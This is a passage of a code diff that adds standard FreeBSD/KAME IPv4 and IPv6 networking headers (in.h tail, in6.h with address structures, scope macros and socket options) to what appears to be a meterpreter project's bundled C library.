{ "ip", CTLTYPE_NODE }, \
|
||||
{ "icmp", CTLTYPE_NODE }, \
|
||||
{ "igmp", CTLTYPE_NODE }, \
|
||||
{ "ggp", CTLTYPE_NODE }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ "tcp", CTLTYPE_NODE }, \
|
||||
{ 0, 0 }, \
|
||||
{ "egp", CTLTYPE_NODE }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ "pup", CTLTYPE_NODE }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ "udp", CTLTYPE_NODE }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ "idp", CTLTYPE_NODE }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ "ipsec", CTLTYPE_NODE }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, { 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ 0, 0 }, \
|
||||
{ "pim", CTLTYPE_NODE }, \
|
||||
}
|
||||
|
||||
/*
|
||||
* Names for IP sysctl objects
|
||||
*/
|
||||
#define IPCTL_FORWARDING 1 /* act as router */
|
||||
#define IPCTL_SENDREDIRECTS 2 /* may send redirects when forwarding */
|
||||
#define IPCTL_DEFTTL 3 /* default TTL */
|
||||
#ifdef notyet
|
||||
#define IPCTL_DEFMTU 4 /* default MTU */
|
||||
#endif
|
||||
#define IPCTL_RTEXPIRE 5 /* cloned route expiration time */
|
||||
#define IPCTL_RTMINEXPIRE 6 /* min value for expiration time */
|
||||
#define IPCTL_RTMAXCACHE 7 /* trigger level for dynamic expire */
|
||||
#define IPCTL_SOURCEROUTE 8 /* may perform source routes */
|
||||
#define IPCTL_DIRECTEDBROADCAST 9 /* may re-broadcast received packets */
|
||||
#define IPCTL_INTRQMAXLEN 10 /* max length of netisr queue */
|
||||
#define IPCTL_INTRQDROPS 11 /* number of netisr q drops */
|
||||
#define IPCTL_STATS 12 /* ipstat structure */
|
||||
#define IPCTL_ACCEPTSOURCEROUTE 13 /* may accept source routed packets */
|
||||
#define IPCTL_FASTFORWARDING 14 /* use fast IP forwarding code */
|
||||
#define IPCTL_KEEPFAITH 15 /* FAITH IPv4->IPv6 translater ctl */
|
||||
#define IPCTL_GIF_TTL 16 /* default TTL for gif encap packet */
|
||||
#define IPCTL_MAXID 17
|
||||
|
||||
#define IPCTL_NAMES { \
|
||||
{ 0, 0 }, \
|
||||
{ "forwarding", CTLTYPE_INT }, \
|
||||
{ "redirect", CTLTYPE_INT }, \
|
||||
{ "ttl", CTLTYPE_INT }, \
|
||||
{ "mtu", CTLTYPE_INT }, \
|
||||
{ "rtexpire", CTLTYPE_INT }, \
|
||||
{ "rtminexpire", CTLTYPE_INT }, \
|
||||
{ "rtmaxcache", CTLTYPE_INT }, \
|
||||
{ "sourceroute", CTLTYPE_INT }, \
|
||||
{ "directed-broadcast", CTLTYPE_INT }, \
|
||||
{ "intr-queue-maxlen", CTLTYPE_INT }, \
|
||||
{ "intr-queue-drops", CTLTYPE_INT }, \
|
||||
{ "stats", CTLTYPE_STRUCT }, \
|
||||
{ "accept_sourceroute", CTLTYPE_INT }, \
|
||||
{ "fastforwarding", CTLTYPE_INT }, \
|
||||
}
|
||||
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
#ifdef _KERNEL
|
||||
|
||||
struct ifnet; struct mbuf; /* forward declarations for Standard C */
|
||||
|
||||
int in_broadcast(struct in_addr, struct ifnet *);
|
||||
int in_canforward(struct in_addr);
|
||||
int in_localaddr(struct in_addr);
|
||||
int in_localip(struct in_addr);
|
||||
char *inet_ntoa(struct in_addr); /* in libkern */
|
||||
char *inet_ntoa_r(struct in_addr ina, char *buf); /* in libkern */
|
||||
void in_ifdetach(struct ifnet *);
|
||||
|
||||
#define in_hosteq(s, t) ((s).s_addr == (t).s_addr)
|
||||
#define in_nullhost(x) ((x).s_addr == INADDR_ANY)
|
||||
#define in_allhosts(x) ((x).s_addr == htonl(INADDR_ALLHOSTS_GROUP))
|
||||
|
||||
#define satosin(sa) ((struct sockaddr_in *)(sa))
|
||||
#define sintosa(sin) ((struct sockaddr *)(sin))
|
||||
#define ifatoia(ifa) ((struct in_ifaddr *)(ifa))
|
||||
|
||||
#endif /* _KERNEL */
|
||||
|
||||
/* INET6 stuff */
|
||||
#if __POSIX_VISIBLE >= 200112
|
||||
#define __KAME_NETINET_IN_H_INCLUDED_
|
||||
#include <netinet6/in6.h>
|
||||
#undef __KAME_NETINET_IN_H_INCLUDED_
|
||||
#endif
|
||||
|
||||
#endif /* !_NETINET_IN_H_*/
|
708
c/meterpreter/source/ulibc/netinet6/in6.h
Normal file
708
c/meterpreter/source/ulibc/netinet6/in6.h
Normal file
@ -0,0 +1,708 @@
|
||||
/*-
|
||||
* Copyright (C) 1995, 1996, 1997, and 1998 WIDE Project.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the project nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $KAME: in6.h,v 1.89 2001/05/27 13:28:35 itojun Exp $
|
||||
*/
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1982, 1986, 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)in.h 8.3 (Berkeley) 1/3/94
|
||||
* $FreeBSD: head/sys/netinet6/in6.h 193217 2009-06-01 10:30:00Z pjd $
|
||||
*/
|
||||
|
||||
#ifndef __KAME_NETINET_IN_H_INCLUDED_
|
||||
#error "do not include netinet6/in6.h directly, include netinet/in.h. see RFC2553"
|
||||
#endif
|
||||
|
||||
#ifndef _NETINET6_IN6_H_
|
||||
#define _NETINET6_IN6_H_
|
||||
|
||||
/*
|
||||
* Identification of the network protocol stack
|
||||
* for *BSD-current/release: http://www.kame.net/dev/cvsweb.cgi/kame/COVERAGE
|
||||
* has the table of implementation/integration differences.
|
||||
*/
|
||||
#define __KAME__
|
||||
#define __KAME_VERSION "FreeBSD"
|
||||
|
||||
/*
|
||||
* IPv6 port allocation rules should mirror the IPv4 rules and are controlled
|
||||
* by the the net.inet.ip.portrange sysctl tree. The following defines exist
|
||||
* for compatibility with userland applications that need them.
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
#define IPV6PORT_RESERVED 1024
|
||||
#define IPV6PORT_ANONMIN 49152
|
||||
#define IPV6PORT_ANONMAX 65535
|
||||
#define IPV6PORT_RESERVEDMIN 600
|
||||
#define IPV6PORT_RESERVEDMAX (IPV6PORT_RESERVED-1)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* IPv6 address
|
||||
*/
|
||||
struct in6_addr {
|
||||
union {
|
||||
uint8_t __u6_addr8[16];
|
||||
uint16_t __u6_addr16[8];
|
||||
uint32_t __u6_addr32[4];
|
||||
} __u6_addr; /* 128-bit IP6 address */
|
||||
};
|
||||
|
||||
#define s6_addr __u6_addr.__u6_addr8
|
||||
#ifdef _KERNEL /* XXX nonstandard */
|
||||
#define s6_addr8 __u6_addr.__u6_addr8
|
||||
#define s6_addr16 __u6_addr.__u6_addr16
|
||||
#define s6_addr32 __u6_addr.__u6_addr32
|
||||
#endif
|
||||
|
||||
#define INET6_ADDRSTRLEN 46
|
||||
|
||||
/*
|
||||
* XXX missing POSIX.1-2001 macro IPPROTO_IPV6.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Socket address for IPv6
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
#define SIN6_LEN
|
||||
#endif
|
||||
|
||||
struct sockaddr_in6 {
|
||||
uint8_t sin6_len; /* length of this struct */
|
||||
sa_family_t sin6_family; /* AF_INET6 */
|
||||
in_port_t sin6_port; /* Transport layer port # */
|
||||
uint32_t sin6_flowinfo; /* IP6 flow information */
|
||||
struct in6_addr sin6_addr; /* IP6 address */
|
||||
uint32_t sin6_scope_id; /* scope zone index */
|
||||
};
|
||||
|
||||
/*
|
||||
* Local definition for masks
|
||||
*/
|
||||
#ifdef _KERNEL /* XXX nonstandard */
|
||||
#define IN6MASK0 {{{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }}}
|
||||
#define IN6MASK32 {{{ 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }}}
|
||||
#define IN6MASK64 {{{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }}}
|
||||
#define IN6MASK96 {{{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
|
||||
0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00 }}}
|
||||
#define IN6MASK128 {{{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
|
||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }}}
|
||||
#endif
|
||||
|
||||
#ifdef _KERNEL
|
||||
extern const struct sockaddr_in6 sa6_any;
|
||||
|
||||
extern const struct in6_addr in6mask0;
|
||||
extern const struct in6_addr in6mask32;
|
||||
extern const struct in6_addr in6mask64;
|
||||
extern const struct in6_addr in6mask96;
|
||||
extern const struct in6_addr in6mask128;
|
||||
#endif /* _KERNEL */
|
||||
|
||||
/*
|
||||
* Macros started with IPV6_ADDR is KAME local
|
||||
*/
|
||||
#ifdef _KERNEL /* XXX nonstandard */
|
||||
#if _BYTE_ORDER == _BIG_ENDIAN
|
||||
#define IPV6_ADDR_INT32_ONE 1
|
||||
#define IPV6_ADDR_INT32_TWO 2
|
||||
#define IPV6_ADDR_INT32_MNL 0xff010000
|
||||
#define IPV6_ADDR_INT32_MLL 0xff020000
|
||||
#define IPV6_ADDR_INT32_SMP 0x0000ffff
|
||||
#define IPV6_ADDR_INT16_ULL 0xfe80
|
||||
#define IPV6_ADDR_INT16_USL 0xfec0
|
||||
#define IPV6_ADDR_INT16_MLL 0xff02
|
||||
#elif _BYTE_ORDER == _LITTLE_ENDIAN
|
||||
#define IPV6_ADDR_INT32_ONE 0x01000000
|
||||
#define IPV6_ADDR_INT32_TWO 0x02000000
|
||||
#define IPV6_ADDR_INT32_MNL 0x000001ff
|
||||
#define IPV6_ADDR_INT32_MLL 0x000002ff
|
||||
#define IPV6_ADDR_INT32_SMP 0xffff0000
|
||||
#define IPV6_ADDR_INT16_ULL 0x80fe
|
||||
#define IPV6_ADDR_INT16_USL 0xc0fe
|
||||
#define IPV6_ADDR_INT16_MLL 0x02ff
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Definition of some useful macros to handle IP6 addresses
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
#define IN6ADDR_ANY_INIT \
|
||||
{{{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }}}
|
||||
#define IN6ADDR_LOOPBACK_INIT \
|
||||
{{{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 }}}
|
||||
#define IN6ADDR_NODELOCAL_ALLNODES_INIT \
|
||||
{{{ 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 }}}
|
||||
#define IN6ADDR_INTFACELOCAL_ALLNODES_INIT \
|
||||
{{{ 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 }}}
|
||||
#define IN6ADDR_LINKLOCAL_ALLNODES_INIT \
|
||||
{{{ 0xff, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 }}}
|
||||
#define IN6ADDR_LINKLOCAL_ALLROUTERS_INIT \
|
||||
{{{ 0xff, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 }}}
|
||||
#define IN6ADDR_LINKLOCAL_ALLV2ROUTERS_INIT \
|
||||
{{{ 0xff, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16 }}}
|
||||
#endif
|
||||
|
||||
extern const struct in6_addr in6addr_any;
|
||||
extern const struct in6_addr in6addr_loopback;
|
||||
#if __BSD_VISIBLE
|
||||
extern const struct in6_addr in6addr_nodelocal_allnodes;
|
||||
extern const struct in6_addr in6addr_linklocal_allnodes;
|
||||
extern const struct in6_addr in6addr_linklocal_allrouters;
|
||||
extern const struct in6_addr in6addr_linklocal_allv2routers;
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Equality
|
||||
* NOTE: Some of kernel programming environment (for example, openbsd/sparc)
|
||||
* does not supply memcmp(). For userland memcmp() is preferred as it is
|
||||
* in ANSI standard.
|
||||
*/
|
||||
#ifdef _KERNEL
|
||||
#define IN6_ARE_ADDR_EQUAL(a, b) \
|
||||
(bcmp(&(a)->s6_addr[0], &(b)->s6_addr[0], sizeof(struct in6_addr)) == 0)
|
||||
#else
|
||||
#if __BSD_VISIBLE
|
||||
#define IN6_ARE_ADDR_EQUAL(a, b) \
|
||||
(memcmp(&(a)->s6_addr[0], &(b)->s6_addr[0], sizeof(struct in6_addr)) == 0)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Unspecified
|
||||
*/
|
||||
#define IN6_IS_ADDR_UNSPECIFIED(a) \
|
||||
((*(const u_int32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[8]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[12]) == 0))
|
||||
|
||||
/*
|
||||
* Loopback
|
||||
*/
|
||||
#define IN6_IS_ADDR_LOOPBACK(a) \
|
||||
((*(const u_int32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[8]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[12]) == ntohl(1)))
|
||||
|
||||
/*
|
||||
* IPv4 compatible
|
||||
*/
|
||||
#define IN6_IS_ADDR_V4COMPAT(a) \
|
||||
((*(const u_int32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[8]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[12]) != 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[12]) != ntohl(1)))
|
||||
|
||||
/*
|
||||
* Mapped
|
||||
*/
|
||||
#define IN6_IS_ADDR_V4MAPPED(a) \
|
||||
((*(const u_int32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \
|
||||
(*(const u_int32_t *)(const void *)(&(a)->s6_addr[8]) == ntohl(0x0000ffff)))
|
||||
|
||||
/*
|
||||
* KAME Scope Values
|
||||
*/
|
||||
|
||||
#ifdef _KERNEL /* XXX nonstandard */
|
||||
#define IPV6_ADDR_SCOPE_NODELOCAL 0x01
|
||||
#define IPV6_ADDR_SCOPE_INTFACELOCAL 0x01
|
||||
#define IPV6_ADDR_SCOPE_LINKLOCAL 0x02
|
||||
#define IPV6_ADDR_SCOPE_SITELOCAL 0x05
|
||||
#define IPV6_ADDR_SCOPE_ORGLOCAL 0x08 /* just used in this file */
|
||||
#define IPV6_ADDR_SCOPE_GLOBAL 0x0e
|
||||
#else
|
||||
#define __IPV6_ADDR_SCOPE_NODELOCAL 0x01
|
||||
#define __IPV6_ADDR_SCOPE_INTFACELOCAL 0x01
|
||||
#define __IPV6_ADDR_SCOPE_LINKLOCAL 0x02
|
||||
#define __IPV6_ADDR_SCOPE_SITELOCAL 0x05
|
||||
#define __IPV6_ADDR_SCOPE_ORGLOCAL 0x08 /* just used in this file */
|
||||
#define __IPV6_ADDR_SCOPE_GLOBAL 0x0e
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Unicast Scope
|
||||
* Note that we must check topmost 10 bits only, not 16 bits (see RFC2373).
|
||||
*/
|
||||
#define IN6_IS_ADDR_LINKLOCAL(a) \
|
||||
(((a)->s6_addr[0] == 0xfe) && (((a)->s6_addr[1] & 0xc0) == 0x80))
|
||||
#define IN6_IS_ADDR_SITELOCAL(a) \
|
||||
(((a)->s6_addr[0] == 0xfe) && (((a)->s6_addr[1] & 0xc0) == 0xc0))
|
||||
|
||||
/*
|
||||
* Multicast
|
||||
*/
|
||||
#define IN6_IS_ADDR_MULTICAST(a) ((a)->s6_addr[0] == 0xff)
|
||||
|
||||
#ifdef _KERNEL /* XXX nonstandard */
|
||||
#define IPV6_ADDR_MC_SCOPE(a) ((a)->s6_addr[1] & 0x0f)
|
||||
#else
|
||||
#define __IPV6_ADDR_MC_SCOPE(a) ((a)->s6_addr[1] & 0x0f)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Multicast Scope
|
||||
*/
|
||||
#ifdef _KERNEL /* refers nonstandard items */
|
||||
#define IN6_IS_ADDR_MC_NODELOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(IPV6_ADDR_MC_SCOPE(a) == IPV6_ADDR_SCOPE_NODELOCAL))
|
||||
#define IN6_IS_ADDR_MC_INTFACELOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(IPV6_ADDR_MC_SCOPE(a) == IPV6_ADDR_SCOPE_INTFACELOCAL))
|
||||
#define IN6_IS_ADDR_MC_LINKLOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(IPV6_ADDR_MC_SCOPE(a) == IPV6_ADDR_SCOPE_LINKLOCAL))
|
||||
#define IN6_IS_ADDR_MC_SITELOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(IPV6_ADDR_MC_SCOPE(a) == IPV6_ADDR_SCOPE_SITELOCAL))
|
||||
#define IN6_IS_ADDR_MC_ORGLOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(IPV6_ADDR_MC_SCOPE(a) == IPV6_ADDR_SCOPE_ORGLOCAL))
|
||||
#define IN6_IS_ADDR_MC_GLOBAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(IPV6_ADDR_MC_SCOPE(a) == IPV6_ADDR_SCOPE_GLOBAL))
|
||||
#else
|
||||
#define IN6_IS_ADDR_MC_NODELOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(__IPV6_ADDR_MC_SCOPE(a) == __IPV6_ADDR_SCOPE_NODELOCAL))
|
||||
#define IN6_IS_ADDR_MC_LINKLOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(__IPV6_ADDR_MC_SCOPE(a) == __IPV6_ADDR_SCOPE_LINKLOCAL))
|
||||
#define IN6_IS_ADDR_MC_SITELOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(__IPV6_ADDR_MC_SCOPE(a) == __IPV6_ADDR_SCOPE_SITELOCAL))
|
||||
#define IN6_IS_ADDR_MC_ORGLOCAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(__IPV6_ADDR_MC_SCOPE(a) == __IPV6_ADDR_SCOPE_ORGLOCAL))
|
||||
#define IN6_IS_ADDR_MC_GLOBAL(a) \
|
||||
(IN6_IS_ADDR_MULTICAST(a) && \
|
||||
(__IPV6_ADDR_MC_SCOPE(a) == __IPV6_ADDR_SCOPE_GLOBAL))
|
||||
#endif
|
||||
|
||||
#ifdef _KERNEL /* nonstandard */
|
||||
/*
|
||||
* KAME Scope
|
||||
*/
|
||||
#define IN6_IS_SCOPE_LINKLOCAL(a) \
|
||||
((IN6_IS_ADDR_LINKLOCAL(a)) || \
|
||||
(IN6_IS_ADDR_MC_LINKLOCAL(a)))
|
||||
#define IN6_IS_SCOPE_EMBED(a) \
|
||||
((IN6_IS_ADDR_LINKLOCAL(a)) || \
|
||||
(IN6_IS_ADDR_MC_LINKLOCAL(a)) || \
|
||||
(IN6_IS_ADDR_MC_INTFACELOCAL(a)))
|
||||
|
||||
#define IFA6_IS_DEPRECATED(a) \
|
||||
((a)->ia6_lifetime.ia6t_pltime != ND6_INFINITE_LIFETIME && \
|
||||
(u_int32_t)((time_second - (a)->ia6_updatetime)) > \
|
||||
(a)->ia6_lifetime.ia6t_pltime)
|
||||
#define IFA6_IS_INVALID(a) \
|
||||
((a)->ia6_lifetime.ia6t_vltime != ND6_INFINITE_LIFETIME && \
|
||||
(u_int32_t)((time_second - (a)->ia6_updatetime)) > \
|
||||
(a)->ia6_lifetime.ia6t_vltime)
|
||||
#endif /* _KERNEL */
|
||||
|
||||
/*
|
||||
* IP6 route structure
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
struct route_in6 {
|
||||
struct rtentry *ro_rt;
|
||||
struct llentry *ro_lle;
|
||||
struct sockaddr_in6 ro_dst;
|
||||
};
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Options for use with [gs]etsockopt at the IPV6 level.
|
||||
* First word of comment is data type; bool is stored in int.
|
||||
*/
|
||||
/* no hdrincl */
|
||||
#if 0 /* the followings are relic in IPv4 and hence are disabled */
|
||||
#define IPV6_OPTIONS 1 /* buf/ip6_opts; set/get IP6 options */
|
||||
#define IPV6_RECVOPTS 5 /* bool; receive all IP6 opts w/dgram */
|
||||
#define IPV6_RECVRETOPTS 6 /* bool; receive IP6 opts for response */
|
||||
#define IPV6_RECVDSTADDR 7 /* bool; receive IP6 dst addr w/dgram */
|
||||
#define IPV6_RETOPTS 8 /* ip6_opts; set/get IP6 options */
|
||||
#endif
|
||||
#define IPV6_SOCKOPT_RESERVED1 3 /* reserved for future use */
|
||||
#define IPV6_UNICAST_HOPS 4 /* int; IP6 hops */
|
||||
#define IPV6_MULTICAST_IF 9 /* u_int; set/get IP6 multicast i/f */
|
||||
#define IPV6_MULTICAST_HOPS 10 /* int; set/get IP6 multicast hops */
|
||||
#define IPV6_MULTICAST_LOOP 11 /* u_int; set/get IP6 multicast loopback */
|
||||
#define IPV6_JOIN_GROUP 12 /* ip6_mreq; join a group membership */
|
||||
#define IPV6_LEAVE_GROUP 13 /* ip6_mreq; leave a group membership */
|
||||
#define IPV6_PORTRANGE 14 /* int; range to choose for unspec port */
|
||||
#define ICMP6_FILTER 18 /* icmp6_filter; icmp6 filter */
|
||||
/* RFC2292 options */
|
||||
#ifdef _KERNEL
|
||||
#define IPV6_2292PKTINFO 19 /* bool; send/recv if, src/dst addr */
|
||||
#define IPV6_2292HOPLIMIT 20 /* bool; hop limit */
|
||||
#define IPV6_2292NEXTHOP 21 /* bool; next hop addr */
|
||||
#define IPV6_2292HOPOPTS 22 /* bool; hop-by-hop option */
|
||||
#define IPV6_2292DSTOPTS 23 /* bool; destinaion option */
|
||||
#define IPV6_2292RTHDR 24 /* bool; routing header */
|
||||
#define IPV6_2292PKTOPTIONS 25 /* buf/cmsghdr; set/get IPv6 options */
|
||||
#endif
|
||||
|
||||
#define IPV6_CHECKSUM 26 /* int; checksum offset for raw socket */
|
||||
#define IPV6_V6ONLY 27 /* bool; make AF_INET6 sockets v6 only */
|
||||
#ifndef _KERNEL
|
||||
#define IPV6_BINDV6ONLY IPV6_V6ONLY
|
||||
#endif
|
||||
|
||||
#if 1 /* IPSEC */
|
||||
